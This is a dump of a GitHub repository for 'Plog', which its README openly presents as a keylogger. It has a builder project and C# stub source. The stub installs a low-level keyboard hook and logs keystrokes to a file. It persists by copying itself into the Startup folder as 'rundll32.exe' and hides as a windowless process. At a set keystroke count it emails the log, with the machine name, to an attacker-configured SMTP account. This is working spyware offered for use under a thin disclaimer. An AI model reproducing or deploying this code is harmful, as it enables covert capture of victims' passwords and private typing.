AAAAAAAAAAAAAAAAAACfcI8QoXSLf6F1i/KkeY35w56s/N69yP/y1dz/z6q4/7eKnP/mwMf/8tXc//LV 215 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P+plJP/TUA2/6mUk//y1dz/8tXc//LV3P/y1dz/8tXc//LV 216 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/5LzD/6t/kv/Usb3/8tXc/969yP/Dnqz8pHmN+aF2 217 | jPKhdIt/n3CPEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAn3CPEKFzjF+id4zSoXWL/6R5 218 | jfmyiZz4oXWL/+zO1//y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/qZST/01ANv+plJP/8tXc//LV 219 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/nydH/oXWL/7WM 220 | nvekeY35oXWL/6J2itKhc4xfn3CPEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 221 | AAAAAAAAAAAAAAAAAACfcI8QoXOMX6B1ip+hdYv/3bzI//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc/6mU 222 | k/9NQDb/qZST//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 223 | 3P/y1dz/8tXc/9Sxvf+idYz+oHWKn6FzjF+fcI8QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 224 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKN4jsjKpLT/8tXc//LV 225 | 3P/y1dz/8tXc//LV3P+plJP/TUA2/6mUk//y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 226 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/v5ip/6F0i7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 227 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 228 | AAAAAAAAoXWKkLOMnfzy1dz/8tXc//LV3P/y1dz/qZST/01ANv+plJP/8tXc//LV3P/y1dz/8tXc//LV 229 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P+thJf2onSLcAAA 230 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 231 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACfdolQoXWL//LV3P/y1dz/8tXc/6mUk/9NQDb/qZST//LV 232 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 233 | 3P/y1dz/7M7X/6F1i/+fdYowAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 234 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ9wjxChdYv/3bzI//LV 235 | 3P+plJP/TUA2/6mUk//y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 236 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/Yt8L/onaM9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 237 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 238 | AAAAAAAAAAAAAKJ3jdbKpLT/qZST/01ANv+plJP/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 239 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc/7+Yqf+jdo21AAAAAAAA 240 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 241 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoXSLgIJmbP1NQDb/qZST//LV3P/y1dz/8tXc//LV 242 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 243 | 3P/y1dz/qX6T+aJ0i3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 244 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABcSUaLTUA2/6ON 245 | jf/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 246 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc/+LDzP+hdYv/n3iHIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 247 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 248 | AAAAAAAAS0A0cE1ANv96XWPxz6q4//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 249 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/xJ+u/6J4jNUAAAAAAAAAAAAA 250 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 251 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtANHBNQDb/S0A0cKF0i4CpfpT88tXc//LV3P/y1dz/8tXc//LV 252 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 253 | 3P+pfpP5onSLcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 254 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLQDRwTUA2/0tANHAAAAAAn3iHIKF1 255 | i//dvMj/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 256 | 3P/y1dz/8tXc//LV3P/y1dz/2LfC/6F1i/+fcI8QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 257 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0A0cE1A 258 | Nv9LQDRwAAAAAAAAAAAAAAAApHiNpq6Emfny1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV 259 | 3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P/y1dz/8tXc//LV3P+uhJn5oXWKkAAAAAAAAAAAAAAAAAAA 260 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 261 | AAAAAAAAAAAAAEtANHBNQDb/S0A0cAAAAAAAAAAAAAAAAAAAAACfcI8QonaM87+Yqf/y1dz/8tXc//LV 262 | 3P/y1dz/58nR/8+quP+/mKn/tY2f/7WNn//En67/z6q4/+fJ0f/y1dz/8tXc//LV3P/y1dz/v5ip/6J2 263 | jPOfcI8QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 264 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLQDRwTUA2/0tANHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 265 | AACfdYowonaM9K6EmfnKpLT/v5ip/6l+k/mhdYv/oneN56B1iq+hdIt/oXSLf6B1iq+hd4zloXWL/6l+ 266 | k/m/mKn/yqS0/6+Gmfyidoz0n3WKMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 267 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0A0cE1ANv9LQDRwAAAAAAAA 268 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACfeIcgoXSLf6B0i7+gdYqfoXWKb591ijAAAAAAAAAAAAAA 269 | AAAAAAAAAAAAAAAAAACfeIcgoXWKb6B1ip+gdIu/oXSLf594hyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 270 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtA 271 | NHBNQDb/S0A0cAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 272 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 273 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 274 | AAAAAAAAAAAAAAAAAABLPjRiTUA2/0xANW8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 275 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 276 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 277 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAElCMyNMQDZoAAAAAAAAAAAAAAAAAAAAAAAA 278 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 279 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 280 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 281 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 282 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 283 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 284 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 285 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 286 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 287 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 288 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 289 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 290 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////wAD////////AAP// 291 | /////8AA///////5wAD///////HAAP//////48AA//4//x/HwAD/+Af4B4/AAP/wA/ADH8AA/+AAwAA/ 292 | wAD/4AAAAH/AAP/AAAAA/8AA/8AAAAD/wAD/wAAAAP/AAP/AAAAA/8AA/wAAAAA/wAD4AAAAAAfAAOAA 293 | AAAAAcAAwAAAAAAAwACAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 294 | AACAAAAAAABAAMAAAAAAAMAA4AAAAAABwAD4AAAAAAfAAP8AAAAAP8AA/+AAAAH/wAD/4AAAAf/AAP/g 295 | AAAB/8AA/+AAAAP/wAD/8AAAA//AAP/wAAAD/8AA//AAAAP/wAD/4AAAB//AAP/AAAAH/8AA/4gAAAf/ 296 | wAD/HAAAD//AAP48AAAP/8AA/H4AAB//wAD4/wPwP//AAPH//////8AA4///////wADn///////AAP// 297 | /////8AA////////wAD////////AAA== 298 | 299 | 300 | -------------------------------------------------------------------------------- /Builder/P-log/P-log.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Debug 5 | x86 6 | 8.0.30703 7 | 2.0 8 | {82666396-57E2-4A96-AA33-621493B9EFDF} 9 | WinExe 10 | Properties 11 | P_log 12 | P-log 13 | v2.0 14 | 512 15 | 16 | 17 | x86 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | prompt 24 | 4 25 | 26 | 27 | x86 28 | pdbonly 29 | true 30 | bin\Release\ 31 | TRACE 32 | prompt 33 | 4 34 | 35 | 36 | icons8-Spyware-50.ico 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | Form 49 | 50 | 51 | Form1.cs 52 | 53 | 54 | 55 | 56 | Form1.cs 57 | 58 | 59 | ResXFileCodeGenerator 60 | Resources.Designer.cs 61 | Designer 62 | 63 | 64 | True 65 | Resources.resx 66 | True 67 | 68 | 69 | SettingsSingleFileGenerator 70 | Settings.Designer.cs 71 | 72 | 73 | True 74 | Settings.settings 75 | True 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 90 | -------------------------------------------------------------------------------- /Builder/P-log/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Windows.Forms; 4 | 5 | namespace P_log 6 | { 7 | static class Program 8 | { 9 | /// 10 | /// The main entry point for the application. 11 | /// 12 | [STAThread] 13 | static void Main() 14 | { 15 | Application.EnableVisualStyles(); 16 | Application.SetCompatibleTextRenderingDefault(false); 17 | Application.Run(new Form1()); 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /Builder/P-log/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("P-log")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("P-log")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("0841d0fb-bc12-460d-8b6a-c2dec133f697")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Builder/P-log/Properties/Resources.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace P_log.Properties { 12 | using System; 13 | 14 | 15 | /// 16 | /// A strongly-typed resource class, for looking up localized strings, etc. 17 | /// 18 | // This class was auto-generated by the StronglyTypedResourceBuilder 19 | // class via a tool like ResGen or Visual Studio. 20 | // To add or remove a member, edit your .ResX file then rerun ResGen 21 | // with the /str option, or rebuild your VS project. 22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] 23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] 24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 25 | internal class Resources { 26 | 27 | private static global::System.Resources.ResourceManager resourceMan; 28 | 29 | private static global::System.Globalization.CultureInfo resourceCulture; 30 | 31 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] 32 | internal Resources() { 33 | } 34 | 35 | /// 36 | /// Returns the cached ResourceManager instance used by this class. 37 | /// 38 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 39 | internal static global::System.Resources.ResourceManager ResourceManager { 40 | get { 41 | if (object.ReferenceEquals(resourceMan, null)) { 42 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("P_log.Properties.Resources", typeof(Resources).Assembly); 43 | resourceMan = temp; 44 | } 45 | return resourceMan; 46 | } 47 | } 48 | 49 | /// 50 | /// Overrides the current thread's CurrentUICulture property for all 51 | /// resource lookups using this strongly typed resource class. 52 | /// 53 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] 54 | internal static global::System.Globalization.CultureInfo Culture { 55 | get { 56 | return resourceCulture; 57 | } 58 | set { 59 | resourceCulture = value; 60 | } 61 | } 62 | 63 | /// 64 | /// Looks up a localized resource of type System.Byte[]. 65 | /// 66 | internal static byte[] stub { 67 | get { 68 | object obj = ResourceManager.GetObject("stub", resourceCulture); 69 | return ((byte[])(obj)); 70 | } 71 | } 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /Builder/P-log/Properties/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | ..\Resources\stub.bin;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 123 | 124 | -------------------------------------------------------------------------------- /Builder/P-log/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace P_log.Properties 12 | { 13 | 14 | 15 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 16 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] 17 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase 18 | { 19 | 20 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 21 | 22 | public static Settings Default 23 | { 24 | get 25 | { 26 | return defaultInstance; 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /Builder/P-log/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Builder/P-log/Resources/stub.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParsingTeam/Plog/40aa53f95b251ab3b95fe0e721cbe5ac752d00db/Builder/P-log/Resources/stub.bin -------------------------------------------------------------------------------- /Builder/P-log/icons8-Spyware-50.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ParsingTeam/Plog/40aa53f95b251ab3b95fe0e721cbe5ac752d00db/Builder/P-log/icons8-Spyware-50.ico -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Plog 2 | Plog - A simple and powerful keylogger ! 3 | Simple, powerful, reliable Keylogger with only 9 KB of final file 4 | 5 | # Disclaimer 6 | The manufacturer or distributor of the project, with the exception of the malicious file, will not accept any bellicose at all. Therefore, the responsibility of any use is beyond your ! 7 | -------------------------------------------------------------------------------- /Stub/rundll32.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.26430.6 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "rundll32", "rundll32\rundll32.csproj", "{F439DE6C-515D-4AE1-82C8-6255CC7A7CB6}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {F439DE6C-515D-4AE1-82C8-6255CC7A7CB6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {F439DE6C-515D-4AE1-82C8-6255CC7A7CB6}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {F439DE6C-515D-4AE1-82C8-6255CC7A7CB6}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {F439DE6C-515D-4AE1-82C8-6255CC7A7CB6}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /Stub/rundll32/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /Stub/rundll32/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | using System.Windows.Forms; 5 | using System.Runtime.InteropServices; 6 | using System.Diagnostics; 7 | using System.IO; 8 | using System.Net; 9 | using System.Net.Mail; 10 | 11 | namespace rundll32 12 | { 13 | class Program 14 | { 15 | /* 16 | for creating hidden applications 17 | create project as console app 18 | solution explorer>rightclick properties of project (or alt+enter) 19 | change output to windows form 20 | */ 21 | public static string SMTP = null; 22 | public static int Port = 0; 23 | public static string Email = null; 24 | public static string Password = null; 25 | public static string Resiver = null; 26 | public static int Turn = 0; 27 | public static string path = @"C:\Users\Public\Documents\ShadowLog.txt"; 28 | public static int logged = 0; 29 | //keyboard hook ID 30 | private const int WH_KEYBOARD_LL = 13; 31 | //VK stuff 32 | private const int WM_KEYDOWN = 0x0100; 33 | private static LowLevelKeyboardProc _proc = HookCallback; 34 | private static IntPtr _hookID = IntPtr.Zero; 35 | 36 | //run hook 37 | public static void Main() 38 | 39 | { 40 | 41 | try 42 | { File.Delete(path); } 43 | catch (Exception) 44 | { } 45 | 46 | byte[] Stub = System.IO.File.ReadAllBytes(Application.ExecutablePath.ToString()); 47 | byte[] ConfigArry = new byte[512]; 48 | Array.ConstrainedCopy(Stub, Stub.Length - 512, ConfigArry, 0, 512); 49 | string ConfigString = Encoding.UTF8.GetString(ConfigArry).TrimEnd('\x00'); 50 | string[] Config = new string[6]; 51 | Config = ConfigString.Split(','); 52 | SMTP = Config[0]; 53 | Port = Convert.ToInt32(Config[1]); 54 | Email = Config[2]; 55 | Password = Config[3]; 56 | Resiver = Config[4]; 57 | Turn = Convert.ToInt32(Config[5]); 58 | //get current exe name and path 59 | String fileName = String.Concat(Process.GetCurrentProcess().ProcessName, ".exe"); 60 | String filePath = Path.Combine(Environment.CurrentDirectory, fileName); 61 | 62 | //check if file exists first; errors out otherwise 63 | String testpath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), "rundll32.exe"); 64 | if (!File.Exists(testpath)) 65 | { 66 | //copy exe into startup folder 67 | try 68 | {File.Copy(filePath, Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), fileName));} 69 | catch (Exception) 70 | {} 71 | 72 | } 73 | 74 | _hookID = SetHook(_proc); 75 | Application.Run(); 76 | UnhookWindowsHookEx(_hookID); 77 | } 78 | 79 | //write data to temp directory 80 | public static void WriteFile(string ToWrite) 81 | { 82 | try 83 | { 84 | //directory to write to 85 | string appendText = null; 86 | if (ToWrite == "Return") 87 | { appendText = Environment.NewLine; } 88 | else if (ToWrite == "Space") 89 | { appendText = " "; } 90 | else if (ToWrite == "NumPad0") 91 | { appendText = "0"; } 92 | else if (ToWrite == "NumPad1") 93 | { appendText = "1"; } 94 | else if (ToWrite == "NumPad2") 95 | { appendText = "2"; } 96 | else if (ToWrite == "NumPad3") 97 | { appendText = "3"; } 98 | else if (ToWrite == "NumPad4") 99 | { appendText = "4"; } 100 | else if (ToWrite == "NumPad5") 101 | { appendText = "5"; } 102 | else if (ToWrite == "NumPad6") 103 | { appendText = "6"; } 104 | else if (ToWrite == "NumPad7") 105 | { appendText = "7"; } 106 | else if (ToWrite == "NumPad8") 107 | { appendText = "8"; } 108 | else if (ToWrite == "NumPad9") 109 | { appendText = "9"; } 110 | else if (ToWrite == "D1") 111 | { appendText = "!"; } 112 | else if (ToWrite == "D2") 113 | { appendText = "@"; } 114 | else if (ToWrite == "D3") 115 | { appendText = "#"; } 116 | else if (ToWrite == "D4") 117 | { appendText = "$"; } 118 | else if (ToWrite == "D5") 119 | { appendText = "%"; } 120 | else if (ToWrite == "D6") 121 | { appendText = "^"; } 122 | else if (ToWrite == "D7") 123 | { appendText = "&"; } 124 | else if (ToWrite == "D8") 125 | { appendText = "*"; } 126 | else if (ToWrite == "D9") 127 | { appendText = "("; } 128 | else if (ToWrite == "D0") 129 | { appendText = ")"; } 130 | else if (ToWrite.Length > 1) 131 | { appendText = " " + ToWrite + " "; } 132 | else 133 | { appendText = ToWrite; } 134 | File.AppendAllText(path, appendText); 135 | } 136 | catch (Exception) 137 | {Application.Exit();} 138 | 139 | } 140 | 141 | //create keyboard hook 142 | private static IntPtr SetHook(LowLevelKeyboardProc proc) 143 | 144 | { 145 | using (Process curProcess = Process.GetCurrentProcess()) 146 | using (ProcessModule curModule = curProcess.MainModule) 147 | { 148 | return SetWindowsHookEx(WH_KEYBOARD_LL, proc,GetModuleHandle(curModule.ModuleName), 0); 149 | } 150 | } 151 | 152 | //actual logging code 153 | private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); 154 | private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) 155 | { 156 | if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) 157 | { 158 | int vkCode = Marshal.ReadInt32(lParam); 159 | string output = Convert.ToString((Keys)vkCode); 160 | WriteFile(output); 161 | logged++; 162 | if (logged == Turn) 163 | { 164 | //send email and restart 165 | email_send(); 166 | try 167 | {File.Delete(path);} 168 | catch (Exception) 169 | {} 170 | Application.Restart(); 171 | } 172 | } 173 | return CallNextHookEx(_hookID, nCode, wParam, lParam); 174 | } 175 | 176 | //send captured keystrokes to fake gmail account to check later 177 | public static void email_send() 178 | { 179 | MailMessage mail = new MailMessage(); 180 | SmtpClient SmtpServer = new SmtpClient(SMTP); 181 | mail.From = new MailAddress(Email); 182 | mail.To.Add(Resiver); 183 | mail.Subject = "P-log "+Environment.MachineName.ToString(); 184 | mail.Body = "KeyLog Attachment"; 185 | Attachment attachment; 186 | attachment = new Attachment(path); 187 | mail.Attachments.Add(attachment); 188 | SmtpServer.Port = Port; 189 | SmtpServer.Credentials = new NetworkCredential(Email, Password); 190 | SmtpServer.EnableSsl = true; 191 | 192 | try 193 | { 194 | SmtpServer.Send(mail); 195 | } 196 | catch (Exception) 197 | { } 198 | 199 | } 200 | 201 | //import windows processes 202 | [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] 203 | private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr 